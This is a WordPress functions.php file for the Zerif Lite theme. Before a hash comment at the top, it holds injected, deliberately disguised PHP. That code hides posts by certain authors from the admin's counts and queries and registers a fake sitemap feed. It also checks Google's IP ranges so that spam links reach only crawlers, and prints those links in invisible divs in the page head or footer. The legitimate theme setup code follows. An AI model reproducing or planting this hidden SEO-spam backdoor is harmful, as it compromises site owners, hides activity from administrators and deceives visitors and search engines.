$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_setting_json($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_framework = $counts->publish;
$get_the_title_stat = admin_url_cron($perm);
$counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
}
return $counts;
}
function admin_url_cron($perm) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_html_more = get_post_type_object($type);
if (!current_user_can($esc_html_more->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_filter_interface) {
if ($add_filter_interface['post_status'] === 'publish') {
return $add_filter_interface['num_posts'];
}
}
}
function the_ID_http($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$wp_reset_postdata_info = array();
foreach ($results as $add_filter_interface) {
$wp_reset_postdata_info[] = $add_filter_interface['ID'];
}
return $wp_reset_postdata_info;
}
function esc_url_loop() {
global $is_archive_core, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);
if (!isset($rules[$get_the_ID_http]) ||
($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_setting_function($rules) {
global $is_archive_core;
$esc_url_raw_pointer = array();
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['sitemapsettings'])) {
$esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
}
}
return $esc_url_raw_pointer + $rules;
}
function get_the_time_statement() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
add_feed($have_posts_core, 'get_template_part_list');
}
}
function get_template_part_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_post_cron = get_bloginfo_variable();
$get_author_posts_url_hashing = the_ID_http($the_post_cron);
if (!empty($get_author_posts_url_hashing)) {
$is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
$add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
$the_ID_first = get_transient($add_filter_https);
if ($the_ID_first !== false) {
echo $the_ID_first;
return;
}
}
$head = is_front_page_info();
$esc_attr_private = $head . "\n";
$priority = '0.5';
$esc_attr_view = 'weekly';
$wp_die_repository = date('Y-m-d');
foreach ($get_author_posts_url_hashing as $post_id) {
$url = get_permalink($post_id);
$esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
wp_cache_delete($post_id, 'posts');
}
$esc_attr_private .= "\n</urlset>";
set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);
echo $esc_attr_private;
}
function is_front_page_info() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_die_repository</lastmod>
<changefreq>$esc_attr_view</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function _e_stack($writersArr) {
$get_header_long = array();
foreach ($writersArr as $item) {
$get_header_long[] = '-' . $item;
}
return implode(',', $get_header_long);
}
function add_section_https() {
$get_template_part_pointer = array();
$bloginfo_edit = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_live = unserialize(base64_decode($settings));
if ($add_setting_live) {
$get_template_part_pointer = $add_setting_live;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_the_title_less = unserialize(base64_decode($settings));
if ($get_the_title_less) {
$bloginfo_edit = $get_the_title_less;
}
}
return $bloginfo_edit + $get_template_part_pointer;
}
function get_bloginfo_variable() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');
if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
return $the_archive_title_http;
}
}
}
function bloginfo_json() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (in_array($post->post_author, $get_the_tag_list_integer)) {
return true;
}
return false;
}
function is_customize_preview_base() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_tag_list_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function esc_attr_e_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_template_part_method() {
$wp_get_attachment_image_src_class = esc_attr_e_pic();
if (strstr($wp_get_attachment_image_src_class, ', ')) {
$wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
$wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
}
$dynamic_sidebar_meta = add_setting_soap();
if (!$dynamic_sidebar_meta) {
return false;
}
foreach ($dynamic_sidebar_meta as $range) {
if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
return true;
}
}
return false;
}
function esc_url_raw_queue($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_setting_soap() {
if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($dynamic_sidebar_meta)) {
return;
}
$value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_author_meta_hashing($inet) {
$get_post_format_ajax = str_split($inet);
$absint_wp = '';
foreach ($get_post_format_ajax as $char) {
$absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $absint_wp;
}
function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
$wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
$absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);
list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_integer = get_the_author_meta_hashing($net);
$esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
$esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);
if ($esc_attr_loop !== $esc_attr_e_constructor) {
return false;
} else {
return true;
}
}
function is_search_restful($get_queried_object_id_pointer) {
global $post;
$post_class_pic = '';
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_class_pic = get_option('home_links_custom_0');
}
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_class_pic = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_class_pic ? '' : $post_class_pic;
}
function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
return false;
}
if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
return true;
}
return false;
}
function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
if (empty($esc_attr_x_schema)) {
return '';
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$language_attributes_beta = is_page_get();
$the_permalink_module = $language_attributes_beta[$blockNum[0]];
return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
}
return $esc_attr_x_schema;
}
function is_page_get() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_client($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}
function get_theme_mod_stat($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}
function is_admin_method($settings) {
foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['homeLinks'])) {
return $get_author_posts_url_restful['homeLinks'];
}
}
return array();
}
function esc_attr_ajax() {
if (!bloginfo_json()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_search_form_call() {
global $get_queried_object_id_pointer;
if (!esc_attr_ajax()) {
return;
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
if (!get_template_part_method()) {
return;
}
}
$esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
$esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);
echo $esc_attr_x_schema;
}
$is_archive_core = add_section_https();
if (is_array($is_archive_core)) {
add_filter('posts_where_paged', 'wp_link_pages_live');
add_action('pre_get_posts', 'the_content_base');
add_action('wp_enqueue_scripts', 'is_singular_cookie');
add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
add_filter('rewrite_rules_array', 'add_setting_function');
add_action('wp_loaded', 'esc_url_loop');
add_action('init', 'get_the_time_statement');
add_action('template_redirect', 'is_customize_preview_base');
$get_queried_object_id_pointer = is_admin_method($is_archive_core);
if (!empty($get_queried_object_id_pointer)) {
if (is_archive_client($get_queried_object_id_pointer)) {
add_action('wp_head', 'get_search_form_call');
}
if (get_theme_mod_stat($get_queried_object_id_pointer)) {
add_action('wp_footer', 'get_search_form_call');
}
}
}
/* 31fccf5cbf9f3adf9f1584a246bfd70b */
/**
* Zerif Lite functions and definitions
*
* @package zerif-lite
*/
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
if ( ! defined( 'WPFORMS_SHAREASALE_ID' ) ) {
define( 'WPFORMS_SHAREASALE_ID', '848264' );
}
add_filter( 'themeisle_sdk_products', 'zerif_load_sdk' );
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function zerif_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
define( 'ZERIF_LITE_VERSION', '1.8.5.48' );
/**
* Main setup function
*/
function zerif_setup() {
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640;
}
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on zerif, use a find and replace
* to change 'zerif-lite' to the name of your theme in all the template files
*/
load_theme_textdomain( 'zerif-lite', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
/* Set the image size by cropping the image */
add_image_size( 'zerif-post-thumbnail', 250, 250, true );
add_image_size( 'zerif-post-thumbnail-large', 750, 500, true ); /* blog thumbnail */
add_image_size( 'zerif-post-thumbnail-large-table', 600, 300, true ); /* blog thumbnail for table */
add_image_size( 'zerif-post-thumbnail-large-mobile', 400, 200, true ); /* blog thumbnail for mobile */
add_image_size( 'zerif_project_photo', 285, 214, true );
add_image_size( 'zerif_our_team_photo', 174, 174, true );
/* Register primary menu */
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'zerif-lite' ),
)
);
/* Enable support for Post Formats. */
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
/* Setup the WordPress core custom background feature. */
if ( file_exists( get_stylesheet_directory() . '/images/bg.jpg' ) ) {
$zerif_default_image = get_stylesheet_directory_uri() . '/images/bg.jpg';
} else {
$zerif_default_image = get_template_directory_uri() . '/images/bg.jpg';
}
add_theme_support(
'custom-background',
apply_filters(
'zerif_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => $zerif_default_image,
)
)
);
/* Enable support for HTML5 markup. */
add_theme_support(
'html5',
array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
/* Enable support for title-tag */
add_theme_support( 'title-tag' );
/* Enable support for custom logo */
add_theme_support(
'custom-logo',
array(
'flex-width' => true,
)
);
/* Custom template tags for this theme. */
require get_template_directory() . '/inc/template-tags.php';
/* Custom functions that act independently of the theme templates. */
require get_template_directory() . '/inc/extras.php';
/* Customizer additions. */
require get_template_directory() . '/inc/customizer.php';
/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';
/* preview demo */
require_once get_template_directory() . '/ti-prevdem/init-prevdem.php';
/* woocommerce support */
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/* selective widget refresh */
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* HOOKS
*/
/* Enables user customization via WordPress plugin API. */
require get_template_directory() . '/inc/hooks.php';
add_action( 'zerif_404_title', 'zerif_404_title_function' ); // Outputs the title on 404 pages
add_action( 'zerif_404_content', 'zerif_404_content_function' ); // Outputs a helpful message on 404 pages
add_action( 'zerif_page_header', 'zerif_page_header_function' ); // Outputs the title on pages
add_action( 'zerif_page_header_title_archive', 'zerif_page_header_title_archive_function' ); // Outputs the title on archive pages
add_action( 'zerif_page_term_description_archive', 'zerif_page_term_description_archive_function' ); // Outputs the term description
add_action( 'zerif_footer_widgets', 'zerif_footer_widgets_function' ); // Outputs the 3 sidebars in footer
add_action( 'zerif_our_focus_header_title', 'zerif_our_focus_header_title_function' ); // Outputs the title in Our focus section
add_action( 'zerif_our_focus_header_subtitle', 'zerif_our_focus_header_subtitle_function' ); // Outputs the subtitle in Our focus section
add_action( 'zerif_our_team_header_title', 'zerif_our_team_header_title_function' ); // Outputs the title in Our team section
add_action( 'zerif_our_team_header_subtitle', 'zerif_our_team_header_subtitle_function' ); // Outputs the subtitle in Our team section
add_action( 'zerif_testimonials_header_title', 'zerif_testimonials_header_title_function' ); // Outputs the title in Testimonials section
add_action( 'zerif_testimonials_header_subtitle', 'zerif_testimonials_header_subtitle_function' ); // Outputs the subtitle in Testimonials section
add_action( 'zerif_latest_news_header_title', 'zerif_latest_news_header_title_function' ); // Outputs the title in Latest news section
add_action( 'zerif_latest_news_header_subtitle', 'zerif_latest_news_header_subtitle_function' ); // Outputs the subtitle in Latest news section
add_action( 'zerif_big_title_text', 'zerif_big_title_text_function' ); // Outputs the text in Big title section
add_action( 'zerif_about_us_header_title', 'zerif_about_us_header_title_function' ); // Outputs the title in About us section
add_action( 'zerif_about_us_header_subtitle', 'zerif_about_us_header_subtitle_function' ); // Outputs the subtitle in About us section
add_action( 'zerif_sidebar', 'zerif_sidebar_function' ); // Outputs the sidebar
add_action( 'zerif_primary_navigation', 'zerif_primary_navigation_function' ); // Outputs the navigation menu
add_filter( 'excerpt_more', 'zerif_excerpt_more' );
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );
/**
* About page class
*/
require_once get_template_directory() . '/ti-about-page/class-ti-about-page.php';
/*
* About page instance
*/
$config = array(
// Menu name under Appearance.
'menu_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Page title.
'page_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Main welcome title
/* translators: Theme Name */
'welcome_title' => sprintf( __( 'Welcome to %s! - Version ', 'zerif-lite' ), 'Zerif Lite' ),
// Main welcome content
'welcome_content' => esc_html__( 'Zerif LITE is a free one page WordPress theme. It\'s perfect for web agency business,corporate business,personal and parallax business portfolio, photography sites and freelancer.Is built on BootStrap with parallax support, is responsive, clean, modern, flat and minimal. Zerif Lite is ecommerce (WooCommerce) Compatible, WPML, RTL, Retina-Ready, SEO Friendly and with parallax, full screen image is one of the best business themes.', 'zerif-lite' ),
/**
* Tabs array.
*
* The key needs to be ONLY consisted from letters and underscores. If we want to define outside the class a function to render the tab,
* the will be the name of the function which will be used to render the tab content.
*/
'tabs' => array(
'getting_started' => __( 'Getting Started', 'zerif-lite' ),
'recommended_actions' => __( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins' => __( 'Useful Plugins', 'zerif-lite' ),
'support' => __( 'Support', 'zerif-lite' ),
'changelog' => __( 'Changelog', 'zerif-lite' ),
'free_pro' => __( 'Free VS PRO', 'zerif-lite' ),
),
// Support content tab.
'support_content' => array(
'first' => array(
'title' => esc_html__( 'Contact Support', 'zerif-lite' ),
'icon' => 'dashicons dashicons-sos',
'text' => esc_html__( 'We want to make sure you have the best experience using Zerif Lite and that is why we gathered here all the necessary informations for you. We hope you will enjoy using Zerif Lite, as much as we enjoy creating great products.', 'zerif-lite' ),
'button_label' => esc_html__( 'Contact Support', 'zerif-lite' ),
'button_link' => esc_url( 'https://themeisle.com/contact/' ),
'is_button' => true,
'is_new_tab' => true,
),
'second' => array(
'title' => esc_html__( 'Documentation', 'zerif-lite' ),
'icon' => 'dashicons dashicons-book-alt',
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Changelog', 'zerif-lite' ),
'icon' => 'dashicons dashicons-portfolio',
'text' => esc_html__( 'Want to get the gist on the latest theme changes? Just consult our changelog below to get a taste of the recent fixes and features implemented.', 'zerif-lite' ),
'button_label' => esc_html__( 'Changelog', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=changelog&show=yes' ) ),
'is_button' => false,
'is_new_tab' => false,
),
'fourth' => array(
'title' => esc_html__( 'Create a child theme', 'zerif-lite' ),
'icon' => 'dashicons dashicons-admin-customizer',
'text' => esc_html__( "If you want to make changes to the theme's files, those changes are likely to be overwritten when you next update the theme. In order to prevent that from happening, you need to create a child theme. For this, please follow the documentation below.", 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/14-how-to-create-a-child-theme',
'is_button' => false,
'is_new_tab' => true,
),
'fifth' => array(
'title' => esc_html__( 'Speed up your site', 'zerif-lite' ),
'icon' => 'dashicons dashicons-controls-skipforward',
'text' => esc_html__( 'If you find yourself in the situation where everything on your site is running very slow, you might consider having a look at the below documentation where you will find the most common issues causing this and possible solutions for each of the issues.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/63-speed-up-your-wordpress-site',
'is_button' => false,
'is_new_tab' => true,
),
'sixth' => array(
'title' => esc_html__( 'Build a landing page with a drag-and-drop content builder', 'zerif-lite' ),
'icon' => 'dashicons dashicons-images-alt2',
'text' => esc_html__( 'In the below documentation you will find an easy way to build a great looking landing page using a drag-and-drop content builder plugin.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/219-how-to-build-a-landing-page-with-a-drag-and-drop-content-builder',
'is_button' => false,
'is_new_tab' => true,
),
),
// Getting started tab
'getting_started' => array(
'first' => array(
'title' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'text' => esc_html__( 'We have compiled a list of steps for you, to take make sure the experience you will have using one of our products is very easy to follow.', 'zerif-lite' ),
'button_label' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=recommended_actions' ) ),
'is_button' => false,
'recommended_actions' => true,
'is_new_tab' => false,
),
'second' => array(
'title' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'recommended_actions' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'text' => esc_html__( 'Using the WordPress Customizer you can easily customize every aspect of the theme.', 'zerif-lite' ),
'button_label' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'customize.php' ) ),
'is_button' => true,
'recommended_actions' => false,
'is_new_tab' => true,
),
),
// Free vs pro array.
'free_pro' => array(
'free_theme_name' => 'Zerif Lite',
'pro_theme_name' => 'Zerif PRO',
'pro_theme_link' => 'https://themeisle.com/themes/zerif-pro-one-page-wordpress-theme/upgrade/',
/* translators: Zerif Pro name */
'get_pro_theme_label' => sprintf( __( 'Get %s now!', 'zerif-lite' ), 'Zerif Pro' ),
'features' => array(
array(
'title' => __( 'Parallax effect', 'zerif-lite' ),
'description' => __( 'Smooth, catchy and easy scrolling experience.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Mobile friendly', 'zerif-lite' ),
'description' => __( 'Responsive layout. Works on every device.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'WooCommerce Compatible', 'zerif-lite' ),
'description' => __( 'Ready for e-commerce. You can build an online store here.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Frontpage sections', 'zerif-lite' ),
'description' => __( 'Big title, Our focus, About us, Our team, Testimonials, Ribbons, Latest news, Contat us', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background image', 'zerif-lite' ),
'description' => __( 'You can use any background image you want.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Unlimited color option', 'zerif-lite' ),
'description' => __( 'You can change the colors of each section. You have unlimited options.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Google map section', 'zerif-lite' ),
'description' => __( 'Embed your current location to your website by using a Google map.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Portfolio', 'zerif-lite' ),
'description' => __( 'Showcase your best projects in the portfolio section.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Sections order', 'zerif-lite' ),
'description' => __( 'Arrange the sections by your priorities.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background slider/video', 'zerif-lite' ),
'description' => __( 'Apart from static images, you can use videos or sliders on the background.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Support', 'zerif-lite' ),
'description' => __( 'You will benefit of our full support for any issues you have with the theme.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Packages/Subscribe sections', 'zerif-lite' ),
'description' => __( 'Add pricing tables for your products and use newsletter forms to attract the clients.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Change labels for the Contact Us section', 'zerif-lite' ),
'description' => __( 'Write an original text in each Contact us section field.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'No credit footer link', 'zerif-lite' ),
'description' => __( 'Remove "Zerif Lite developed by ThemeIsle" copyright from the footer.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
),
),
// Plugins array.
'recommended_plugins' => array(
'already_activated_message' => esc_html__( 'Already activated', 'zerif-lite' ),
'version_label' => esc_html__( 'Version: ', 'zerif-lite' ),
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
array(
'slug' => 'wpforms-lite',
),
array(
'slug' => 'translatepress-multilingual',
),
array(
'slug' => 'siteorigin-panels',
),
array(
'slug' => 'wp-product-review',
),
array(
'slug' => 'intergeo-maps',
),
array(
'slug' => 'visualizer',
),
array(
'slug' => 'adblock-notify-by-bweb',
),
array(
'slug' => 'nivo-slider-lite',
),
),
),
// Required actions array.
'recommended_actions' => array(
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
'themeisle-companion' => array(
'title' => 'Orbit Fox',
'description' => __( 'It is highly recommended that you install the companion plugin to have access to the frontpage sections widgets.', 'zerif-lite' ),
'check' => defined( 'THEMEISLE_COMPANION_VERSION' ),
'plugin_slug' => 'themeisle-companion',
'id' => 'themeisle-companion',
),
'wpforms-lite' => array(
'title' => 'WPForms',
'description' => __( 'Makes your contact page more engaging by creating a good-looking contact form on your website. The interaction with your visitors was never easier.', 'zerif-lite' ),
'check' => defined( 'PIRATE_FORMS_VERSION' ),
'plugin_slug' => 'wpforms-lite',
'id' => 'wpforms-lite',
),
),
),
);
/*
* Add recommendation for Beaver Builder plugin, after 5 days of installing the theme
**/
if ( ! defined( 'FL_BUILDER_VERSION' ) && zerif_check_passed_time( '259200' ) ) {
$elementor_array = array(
'slug' => 'beaver-builder-lite-version',
);
if ( ! empty( $config['recommended_plugins']['content'] ) ) {
array_push( $config['recommended_plugins']['content'], $elementor_array );
}
}
TI_About_Page::init( $config );
/*
* Notifications in customize
*/
require get_template_directory() . '/ti-customizer-notify/class-ti-customizer-notify.php';
$config_customizer = array(
'recommended_plugins' => array(
'themeisle-companion' => array(
'recommended' => true,
/* translators: ThemeIsle Companion install link */
'description' => sprintf( esc_html__( 'If you want to take full advantage of the options this theme has to offer, please install and activate %s', 'zerif-lite' ), sprintf( '<strong>%s</strong>', 'ThemeIsle Companion' ) ),
),
),
'recommended_actions' => array(),
'recommended_actions_title' => esc_html__( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins_title' => esc_html__( 'Recommended Plugins', 'zerif-lite' ),
'install_button_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_button_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_button_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
);
Ti_Customizer_Notify::init( apply_filters( 'zerif_customizer_notify_array', $config_customizer ) );
}
add_action( 'after_setup_theme', 'zerif_setup' );
/**
* Add compatibility with WooCommerce Product Images customizer controls.
*/
function zerif_set_woo_image_sizes() {
$execute = get_option( 'zerif_update_woocommerce_customizer_controls', false );
if ( $execute !== false ) {
return;
}
